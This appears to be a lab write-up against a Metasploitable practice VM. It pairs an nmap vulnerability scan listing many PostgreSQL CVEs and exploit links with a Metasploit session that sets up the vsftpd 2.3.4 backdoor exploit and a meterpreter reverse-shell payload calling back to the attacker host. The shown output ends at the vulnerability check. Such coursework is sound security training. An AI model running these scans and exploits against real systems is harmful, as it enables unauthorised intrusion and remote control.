https://vulners.com/postgresql/POSTGRESQL:CVE-2026-2006
| POSTGRESQL:CVE-2026-2005 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-2005
| POSTGRESQL:CVE-2026-2004 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-2004
| POSTGRESQL:CVE-2025-8715 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2025-8715
| POSTGRESQL:CVE-2025-8714 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2025-8714
| POSTGRESQL:CVE-2024-7348 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2024-7348
| POSTGRESQL:CVE-2024-10979 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2024-10979
| POSTGRESQL:CVE-2023-5869 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2023-5869
| POSTGRESQL:CVE-2023-39417 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2023-39417
| POSTGRESQL:CVE-2022-1552 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2022-1552
| POSTGRESQL:CVE-2021-32027 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2021-32027
| POSTGRESQL:CVE-2020-25695 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2020-25695
| POSTGRESQL:CVE-2019-10208 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10208
| POSTGRESQL:CVE-2019-10127 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10127
| POSTGRESQL:CVE-2018-1058 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2018-1058
| POSTGRESQL:CVE-2017-7547 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-7547
| POSTGRESQL:CVE-2015-0243 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-0243
| POSTGRESQL:CVE-2015-0242 8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-0242

```
|      POSTGRESQL:CVE-2015-0241      8.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-0241
|      F271E10E-74F6-5C2A-953B-E052B8E053FC      8.8
https://vulners.com/githubexploit/F271E10E-74F6-5C2A-953B-E052B8E053FC *EXPLOIT*
|      CVE-2026-6637      8.8      https://vulners.com/cve/CVE-2026-6637
|      CVE-2026-6477      8.8      https://vulners.com/cve/CVE-2026-6477
|      CVE-2026-6475      8.8      https://vulners.com/cve/CVE-2026-6475
|      CVE-2026-6473      8.8      https://vulners.com/cve/CVE-2026-6473
|      CVE-2020-25695      8.8      https://vulners.com/cve/CVE-2020-25695
|      CVE-2019-10127      8.8      https://vulners.com/cve/CVE-2019-10127
|      CVE-2015-0243      8.8      https://vulners.com/cve/CVE-2015-0243
|      CVE-2015-0242      8.8      https://vulners.com/cve/CVE-2015-0242
|      CVE-2015-0241      8.8      https://vulners.com/cve/CVE-2015-0241
|      CNVD-2017-26578      8.8      https://vulners.com/cnvd/CNVD-2017-26578
|      B49600A6-B130-55AB-BBE9-5FF0474D9BD2      8.8
https://vulners.com/githubexploit/B49600A6-B130-55AB-BBE9-5FF0474D9BD2 *EXPLOIT*
|      89EA5F2E-7042-5C6B-87AE-439E3F41312B      8.8
https://vulners.com/githubexploit/89EA5F2E-7042-5C6B-87AE-439E3F41312B *EXPLOIT*
|      751B640D-0553-5C7C-8078-DF916AE09578      8.8
https://vulners.com/githubexploit/751B640D-0553-5C7C-8078-DF916AE09578 *EXPLOIT*
|      6585F25A-D705-53D3-ADAC-BC4390959601      8.8
https://vulners.com/githubexploit/6585F25A-D705-53D3-ADAC-BC4390959601 *EXPLOIT*
|      SSV:30015      8.5      https://vulners.com/seebug/SSV:30015 *EXPLOIT*
|      SSV:19652      8.5      https://vulners.com/seebug/SSV:19652 *EXPLOIT*
|      POSTGRESQL:CVE-2018-10915      8.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2018-10915
|      POSTGRESQL:CVE-2013-1900      8.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2013-1900
|      POSTGRESQL:CVE-2010-1169      8.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2010-1169
|      CVE-2010-1447      8.5      https://vulners.com/cve/CVE-2010-1447
|      CVE-2010-1169      8.5      https://vulners.com/cve/CVE-2010-1169
|      CNVD-2020-02199      8.5      https://vulners.com/cnvd/CNVD-2020-02199
|      POSTGRESQL:CVE-2016-5423      8.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2016-5423
|      CVE-2016-5423      8.3      https://vulners.com/cve/CVE-2016-5423
|      POSTGRESQL:CVE-2026-6478      8.2
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6478
|      POSTGRESQL:CVE-2026-2007      8.2
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-2007
|      CVE-2026-6478      8.2      https://vulners.com/cve/CVE-2026-6478
|      POSTGRESQL:CVE-2025-1094      8.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2025-1094
|      POSTGRESQL:CVE-2021-23214      8.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2021-23214
|      POSTGRESQL:CVE-2020-25694      8.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2020-25694
|      POSTGRESQL:CVE-2018-10925      8.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2018-10925
|      POSTGRESQL:CVE-2017-15098      8.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-15098
|      FC1D41BA-69D2-5303-B8A5-BD03641263C8      8.1
https://vulners.com/githubexploit/FC1D41BA-69D2-5303-B8A5-BD03641263C8 *EXPLOIT*
|      D0DF9BE5-0FD0-55AD-8B78-C13D7E73820A      8.1
https://vulners.com/githubexploit/D0DF9BE5-0FD0-55AD-8B78-C13D7E73820A *EXPLOIT*
```

```

| CVE-2021-23214 8.1 https://vulners.com/cve/CVE-2021-23214
| CVE-2020-25694 8.1 https://vulners.com/cve/CVE-2020-25694
| CNVD-2020-63992 8.1 https://vulners.com/cnvd/CNVD-2020-63992
| CNVD-2020-02195 8.1 https://vulners.com/cnvd/CNVD-2020-02195
| 7B12EAF5-EBAC-5606-A1F6-EDF65F8B168D 8.1
https://vulners.com/githubexploit/7B12EAF5-EBAC-5606-A1F6-EDF65F8B168D *EXPLOIT*
| 53C2CAF7-EEAD-5529-8250-EACEA16708FA 8.1
https://vulners.com/githubexploit/53C2CAF7-EEAD-5529-8250-EACEA16708FA *EXPLOIT*
| 45CBB37E-6F66-58F4-ABB7-AD79A4446CD8 8.1
https://vulners.com/githubexploit/45CBB37E-6F66-58F4-ABB7-AD79A4446CD8 *EXPLOIT*
| 1E2D7847-DCA6-5603-988F-CCEEF6558320 8.1
https://vulners.com/githubexploit/1E2D7847-DCA6-5603-988F-CCEEF6558320 *EXPLOIT*
| POSTGRESQL:CVE-2024-0985 8.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2024-0985
| POSTGRESQL:CVE-2022-2625 8.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2022-2625
| POSTGRESQL:CVE-2019-3466 7.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-3466
| POSTGRESQL:CVE-2019-10128 7.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10128
| CVE-2019-10128 7.8 https://vulners.com/cve/CVE-2019-10128
| POSTGRESQL:CVE-2020-25696 7.6
https://vulners.com/postgresql/POSTGRESQL:CVE-2020-25696
| POSTGRESQL:CVE-2026-6479 7.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6479
| POSTGRESQL:CVE-2017-7548 7.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-7548
| POSTGRESQL:CVE-2017-7486 7.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-7486
| POSTGRESQL:CVE-2017-7484 7.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-7484
| POSTGRESQL:CVE-2016-2193 7.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2016-2193
| POSTGRESQL:CVE-2016-0773 7.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2016-0773
| POSTGRESQL:CVE-2015-3167 7.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-3167
| CVE-2026-6479 7.5 https://vulners.com/cve/CVE-2026-6479
| CVE-2017-7484 7.5 https://vulners.com/cve/CVE-2017-7484
| CVE-2016-0773 7.5 https://vulners.com/cve/CVE-2016-0773
| CVE-2016-0768 7.5 https://vulners.com/cve/CVE-2016-0768
| CVE-2015-3167 7.5 https://vulners.com/cve/CVE-2015-3167
| CNVD-2017-26579 7.5 https://vulners.com/cnvd/CNVD-2017-26579
| CNVD-2017-22338 7.5 https://vulners.com/cnvd/CNVD-2017-22338
| CNVD-2017-06930 7.5 https://vulners.com/cnvd/CNVD-2017-06930
| POSTGRESQL:CVE-2020-14350 7.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2020-14350
| POSTGRESQL:CVE-2020-10733 7.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2020-10733
| EDB-ID:45184 7.3 https://vulners.com/exploitdb/EDB-ID:45184
*EXPLOIT*
| CVE-2017-14798 7.3 https://vulners.com/cve/CVE-2017-14798
| POSTGRESQL:CVE-2026-6476 7.2
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6476

```

```

|      POSTGRESQL:CVE-2023-2454      7.2
https://vulners.com/postgresql/POSTGRESQL:CVE-2023-2454
|      POSTGRESQL:CVE-2017-12172      7.2
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-12172
|      POSTGRESQL:CVE-2020-14349      7.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2020-14349
|      POSTGRESQL:CVE-2016-5424      7.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2016-5424
|      CVE-2016-5424      7.1      https://vulners.com/cve/CVE-2016-5424
|      CNVD-2020-64266      7.1      https://vulners.com/cnvd/CNVD-2020-64266
|      POSTGRESQL:CVE-2019-10210      7.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10210
|      POSTGRESQL:CVE-2018-1053      7.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2018-1053
|      CVE-2019-10210      7.0      https://vulners.com/cve/CVE-2019-10210
|      PACKETSTORM:148884      6.9
https://vulners.com/packetstorm/PACKETSTORM:148884      *EXPLOIT*
|      EXPLOITPACK:6F8D33BC4F1C65AE0911D23B5E6EB665      6.9
https://vulners.com/exploitpack/EXPLOITPACK:6F8D33BC4F1C65AE0911D23B5E6EB665
*EXPLOIT*
|      1337DAY-ID-30875      6.9      https://vulners.com/zdt/1337DAY-ID-30875
*EXPLOIT*
|      SSV:30152      6.8      https://vulners.com/seebug/SSV:30152      *EXPLOIT*
|      POSTGRESQL:CVE-2013-0255      6.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2013-0255
|      POSTGRESQL:CVE-2012-0868      6.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2012-0868
|      POSTGRESQL:CVE-2009-3231      6.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2009-3231
|      CVE-2013-0255      6.8      https://vulners.com/cve/CVE-2013-0255
|      CVE-2012-0868      6.8      https://vulners.com/cve/CVE-2012-0868
|      CVE-2009-3231      6.8      https://vulners.com/cve/CVE-2009-3231
|      SSV:62083      6.5      https://vulners.com/seebug/SSV:62083      *EXPLOIT*
|      SSV:61543      6.5      https://vulners.com/seebug/SSV:61543      *EXPLOIT*
|      SSV:60720      6.5      https://vulners.com/seebug/SSV:60720      *EXPLOIT*
|      SSV:19018      6.5      https://vulners.com/seebug/SSV:19018      *EXPLOIT*
|      SSV:15153      6.5      https://vulners.com/seebug/SSV:15153      *EXPLOIT*
|      SSV:15097      6.5      https://vulners.com/seebug/SSV:15097      *EXPLOIT*
|      SSV:15095      6.5      https://vulners.com/seebug/SSV:15095      *EXPLOIT*
|      POSTGRESQL:CVE-2021-3677      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2021-3677
|      POSTGRESQL:CVE-2021-32029      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2021-32029
|      POSTGRESQL:CVE-2021-32028      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2021-32028
|      POSTGRESQL:CVE-2020-1720      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2020-1720
|      POSTGRESQL:CVE-2019-10129      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10129
|      POSTGRESQL:CVE-2018-1052      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2018-1052
|      POSTGRESQL:CVE-2017-15099      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-15099
|      POSTGRESQL:CVE-2014-0065      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-0065

```

```

|      POSTGRESQL:CVE-2014-0064      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-0064
|      POSTGRESQL:CVE-2014-0063      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-0063
|      POSTGRESQL:CVE-2014-0061      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-0061
|      POSTGRESQL:CVE-2013-1899      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2013-1899
|      POSTGRESQL:CVE-2012-3489      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2012-3489
|      POSTGRESQL:CVE-2012-0866      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2012-0866
|      POSTGRESQL:CVE-2010-4015      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2010-4015
|      POSTGRESQL:CVE-2009-4136      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2009-4136
|      POSTGRESQL:CVE-2009-3230      6.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2009-3230
|      PACKETSTORM:180960      6.5
https://vulners.com/packetstorm/PACKETSTORM:180960      *EXPLOIT*
|      MSF:AUXILIARY-SCANNER-POSTGRES-POSTGRES_DBNAME_FLAG_INJECTION- 6.5
https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-POSTGRES-POSTGRES_DBNAME_FLAG_INJ
ECTION-      *EXPLOIT*
|      EDB-ID:33571      6.5      https://vulners.com/exploitdb/EDB-ID:33571
*EXPLOIT*
|      CVE-2014-0065      6.5      https://vulners.com/cve/CVE-2014-0065
|      CVE-2014-0064      6.5      https://vulners.com/cve/CVE-2014-0064
|      CVE-2014-0063      6.5      https://vulners.com/cve/CVE-2014-0063
|      CVE-2014-0061      6.5      https://vulners.com/cve/CVE-2014-0061
|      CVE-2012-3489      6.5      https://vulners.com/cve/CVE-2012-3489
|      CVE-2012-0866      6.5      https://vulners.com/cve/CVE-2012-0866
|      CVE-2010-4015      6.5      https://vulners.com/cve/CVE-2010-4015
|      CVE-2010-0442      6.5      https://vulners.com/cve/CVE-2010-0442
|      POSTGRESQL:CVE-2015-5289      6.4
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-5289
|      POSTGRESQL:CVE-2015-5288      6.4
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-5288
|      CVE-2015-5288      6.4      https://vulners.com/cve/CVE-2015-5288
|      POSTGRESQL:CVE-2010-3433      6.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2010-3433
|      POSTGRESQL:CVE-2010-1170      6.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2010-1170
|      CVE-2010-3433      6.0      https://vulners.com/cve/CVE-2010-3433
|      CVE-2010-1170      6.0      https://vulners.com/cve/CVE-2010-1170
|      POSTGRESQL:CVE-2025-4207      5.9
https://vulners.com/postgresql/POSTGRESQL:CVE-2025-4207
|      POSTGRESQL:CVE-2025-12818      5.9
https://vulners.com/postgresql/POSTGRESQL:CVE-2025-12818
|      POSTGRESQL:CVE-2021-23222      5.9
https://vulners.com/postgresql/POSTGRESQL:CVE-2021-23222
|      POSTGRESQL:CVE-2017-7485      5.9
https://vulners.com/postgresql/POSTGRESQL:CVE-2017-7485
|      CNVD-2017-06931      5.9      https://vulners.com/cnvd/CNVD-2017-06931
|      SSV:15154      5.8      https://vulners.com/seebug/SSV:15154      *EXPLOIT*
|      SSV:15096      5.8      https://vulners.com/seebug/SSV:15096      *EXPLOIT*

```

```
|      POSTGRESQL:CVE-2009-4034      5.8
https://vulners.com/postgresql/POSTGRESQL:CVE-2009-4034
|      SSV:19669      5.5      https://vulners.com/seebug/SSV:19669      *EXPLOIT*
|      POSTGRESQL:CVE-2010-1975      5.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2010-1975
|      CVE-2010-1975      5.5      https://vulners.com/cve/CVE-2010-1975
|      POSTGRESQL:CVE-2026-6472      5.4
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6472
|      POSTGRESQL:CVE-2024-10976      5.4
https://vulners.com/postgresql/POSTGRESQL:CVE-2024-10976
|      POSTGRESQL:CVE-2023-2455      5.4
https://vulners.com/postgresql/POSTGRESQL:CVE-2023-2455
|      CVE-2026-6472      5.4      https://vulners.com/cve/CVE-2026-6472
|      CVE-2011-2483      5.0      https://vulners.com/cve/CVE-2011-2483
|      SSV:61546      4.9      https://vulners.com/seebug/SSV:61546      *EXPLOIT*
|      SSV:60334      4.9      https://vulners.com/seebug/SSV:60334      *EXPLOIT*
|      POSTGRESQL:CVE-2014-0062      4.9
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-0062
|      POSTGRESQL:CVE-2012-3488      4.9
https://vulners.com/postgresql/POSTGRESQL:CVE-2012-3488
|      CVE-2014-0062      4.9      https://vulners.com/cve/CVE-2014-0062
|      CVE-2012-3488      4.9      https://vulners.com/cve/CVE-2012-3488
|      SSV:61544      4.6      https://vulners.com/seebug/SSV:61544      *EXPLOIT*
|      POSTGRESQL:CVE-2014-0067      4.6
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-0067
|      CVE-2014-0067      4.6      https://vulners.com/cve/CVE-2014-0067
|      POSTGRESQL:CVE-2023-5870      4.4
https://vulners.com/postgresql/POSTGRESQL:CVE-2023-5870
|      POSTGRESQL:CVE-2026-6575      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6575
|      POSTGRESQL:CVE-2026-6474      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-6474
|      POSTGRESQL:CVE-2026-2003      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2026-2003
|      POSTGRESQL:CVE-2024-4317      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2024-4317
|      POSTGRESQL:CVE-2023-5868      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2023-5868
|      POSTGRESQL:CVE-2023-39418      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2023-39418
|      POSTGRESQL:CVE-2021-3393      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2021-3393
|      POSTGRESQL:CVE-2021-20229      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2021-20229
|      POSTGRESQL:CVE-2019-10130      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10130
|      POSTGRESQL:CVE-2015-3165      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2015-3165
|      POSTGRESQL:CVE-2014-8161      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-8161
|      POSTGRESQL:CVE-2012-2143      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2012-2143
|      POSTGRESQL:CVE-2012-0867      4.3
https://vulners.com/postgresql/POSTGRESQL:CVE-2012-0867
|      CVE-2026-6474      4.3      https://vulners.com/cve/CVE-2026-6474
```

```

| CVE-2021-3393 4.3 https://vulners.com/cve/CVE-2021-3393
| CVE-2015-3165 4.3 https://vulners.com/cve/CVE-2015-3165
| CVE-2014-8161 4.3 https://vulners.com/cve/CVE-2014-8161
| CVE-2012-2143 4.3 https://vulners.com/cve/CVE-2012-2143
| 8B99F26F-7E4B-52DB-AEE3-1D5FC0D160CD 4.3
https://vulners.com/gitee/8B99F26F-7E4B-52DB-AEE3-1D5FC0D160CD *EXPLOIT*
| 06D0C38D-C4BF-53FB-A3AF-F6F83A71A24A 4.3
https://vulners.com/gitee/06D0C38D-C4BF-53FB-A3AF-F6F83A71A24A *EXPLOIT*
| POSTGRESQL:CVE-2024-10978 4.2
https://vulners.com/postgresql/POSTGRESQL:CVE-2024-10978
| SSV:61547 4.0 https://vulners.com/seebug/SSV:61547 *EXPLOIT*
| SSV:61545 4.0 https://vulners.com/seebug/SSV:61545 *EXPLOIT*
| SSV:60719 4.0 https://vulners.com/seebug/SSV:60719 *EXPLOIT*
| SSV:60335 4.0 https://vulners.com/seebug/SSV:60335 *EXPLOIT*
| SSV:60186 4.0 https://vulners.com/seebug/SSV:60186 *EXPLOIT*
| SSV:4928 4.0 https://vulners.com/seebug/SSV:4928 *EXPLOIT*
| POSTGRESQL:CVE-2014-0066 4.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-0066
| POSTGRESQL:CVE-2014-0060 4.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2014-0060
| POSTGRESQL:CVE-2013-1901 4.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2013-1901
| POSTGRESQL:CVE-2012-2655 4.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2012-2655
| POSTGRESQL:CVE-2009-3229 4.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2009-3229
| POSTGRESQL:CVE-2009-0922 4.0
https://vulners.com/postgresql/POSTGRESQL:CVE-2009-0922
| EDB-ID:32849 4.0 https://vulners.com/exploitdb/EDB-ID:32849
*EXPLOIT*
| CVE-2014-0066 4.0 https://vulners.com/cve/CVE-2014-0066
| CVE-2014-0060 4.0 https://vulners.com/cve/CVE-2014-0060
| CVE-2012-2655 4.0 https://vulners.com/cve/CVE-2012-2655
| CVE-2009-3229 4.0 https://vulners.com/cve/CVE-2009-3229
| POSTGRESQL:CVE-2024-10977 3.7
https://vulners.com/postgresql/POSTGRESQL:CVE-2024-10977
| POSTGRESQL:CVE-2022-41862 3.7
https://vulners.com/postgresql/POSTGRESQL:CVE-2022-41862
| SSV:19322 3.5 https://vulners.com/seebug/SSV:19322 *EXPLOIT*
| POSTGRESQL:CVE-2019-10209 3.5
https://vulners.com/postgresql/POSTGRESQL:CVE-2019-10209
| PACKETSTORM:127092 3.5
https://vulners.com/packetstorm/PACKETSTORM:127092 *EXPLOIT*
| EDB-ID:33729 3.5 https://vulners.com/exploitdb/EDB-ID:33729
*EXPLOIT*
| CVE-2010-0733 3.5 https://vulners.com/cve/CVE-2010-0733
| POSTGRESQL:CVE-2025-8713 3.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2025-8713
|_ POSTGRESQL:CVE-2025-12817 3.1
https://vulners.com/postgresql/POSTGRESQL:CVE-2025-12817
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High

```

```
|      OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|      does not properly restrict processing of ChangeCipherSpec messages,
|      which allows man-in-the-middle attackers to trigger use of a zero
|      length master key in certain OpenSSL-to-OpenSSL communications, and
|      consequently hijack sessions or obtain sensitive information, via
|      a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
|      References:
|      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|      http://www.cvedetails.com/cve/2014-0224
|      http://www.openssl.org/news/secadv_20140605.txt
5900/tcp open  vnc          VNC (protocol 3.3)
6000/tcp open  X11            (access denied)
6667/tcp open  irc            UnrealIRCd
| irc-botnet-channels:
|_  ERROR: Closing Link: [10.99.99.1] (Throttled: Reconnecting too fast) -Email
admin@Metasploitable.LAN for more information.
8009/tcp open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp open  http           Apache Tomcat/Coyote JSP engine 1.1
|_ http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_ http-sql-injection: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags:
|   /admin/:
|     JSESSIONID:
|       httponly flag not set
|   /admin/index.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/login.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/admin.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/account.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/admin_login.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/home.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/admin-login.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/adminLogin.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/controlpanel.html:
|     JSESSIONID:
|       httponly flag not set
|   /admin/cp.html:
|     JSESSIONID:
|       httponly flag not set
```

```
| /admin/index.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/login.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/admin.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/home.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/controlpanel.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/admin-login.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/cp.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/account.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/admin_login.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/adminLogin.jsp:
|   JSESSIONID:
|     httponly flag not set
| /admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html:
|   JSESSIONID:
|     httponly flag not set
| /admin/includes/FCKeditor/editor/filemanager/upload/test.html:
|   JSESSIONID:
|     httponly flag not set
| /admin/jscript/upload.html:
|   JSESSIONID:
|     httponly flag not set
|_ http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.99.99.2
| Found the following possible CSRF vulnerabilities:
|
|   Path: http://10.99.99.2:8180/admin/
|   Form id: username
|_   Form action: j_security_check;jsessionid=079873CD2691B061A2A36F4D138A2373
| http-enum:
| /admin/: Possible admin folder
| /admin/index.html: Possible admin folder
| /admin/login.html: Possible admin folder
| /admin/admin.html: Possible admin folder
| /admin/account.html: Possible admin folder
| /admin/admin_login.html: Possible admin folder
| /admin/home.html: Possible admin folder
| /admin/admin-login.html: Possible admin folder
```

```
| /admin/adminLogin.html: Possible admin folder
| /admin/controlpanel.html: Possible admin folder
| /admin/cp.html: Possible admin folder
| /admin/index.jsp: Possible admin folder
| /admin/login.jsp: Possible admin folder
| /admin/admin.jsp: Possible admin folder
| /admin/home.jsp: Possible admin folder
| /admin/controlpanel.jsp: Possible admin folder
| /admin/admin-login.jsp: Possible admin folder
| /admin/cp.jsp: Possible admin folder
| /admin/account.jsp: Possible admin folder
| /admin/admin_login.jsp: Possible admin folder
| /admin/adminLogin.jsp: Possible admin folder
| /manager/html/upload: Apache Tomcat (401 Unauthorized)
| /manager/html: Apache Tomcat (401 Unauthorized)
| /admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html:
OpenCart/FCKEditor File upload
| /admin/includes/FCKEditor/editor/filemanager/upload/test.html: ASP Simple Blog /
FCKEditor File Upload
| /admin/jscript/upload.html: Lizard Cart/Remote File upload
|_ /webdav/: Potentially interesting folder
|_http-server-header: Apache-Coyote/1.1
|_http-dombased-xss: Couldn't find any DOM based XSS.
MAC Address: 08:00:27:0C:0F:E5 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix,
Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: false
```

Task 2

```
msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent Yes    VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.99.99.2
RHOSTS => 10.99.99.2
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
-      -
RHOSTS    10.99.99.2      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
RPORT     21              yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

Name      Current Setting  Required  Description
-      -
FETCH_COMMAND  CURL            yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE   false           yes       Attempt to delete the binary after execution
FETCH_FILELESS none            yes       Attempt to run payload without touching disk by using anonymous handles, s
FETCH_SRVHOST  8080            yes       Local IP to use for serving payload
FETCH_SRVPORT  8080            yes       Local port to use for serving payload
FETCH_URI_PATH none            no        Local URI to use for serving payload
```

Port 21 is open, determined in task 1.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 10.99.99.1
LHOST => 10.99.99.1
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 10.99.99.1:4444
[*] 10.99.99.2:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.99.99.2:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)
[+] 10.99.99.2:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
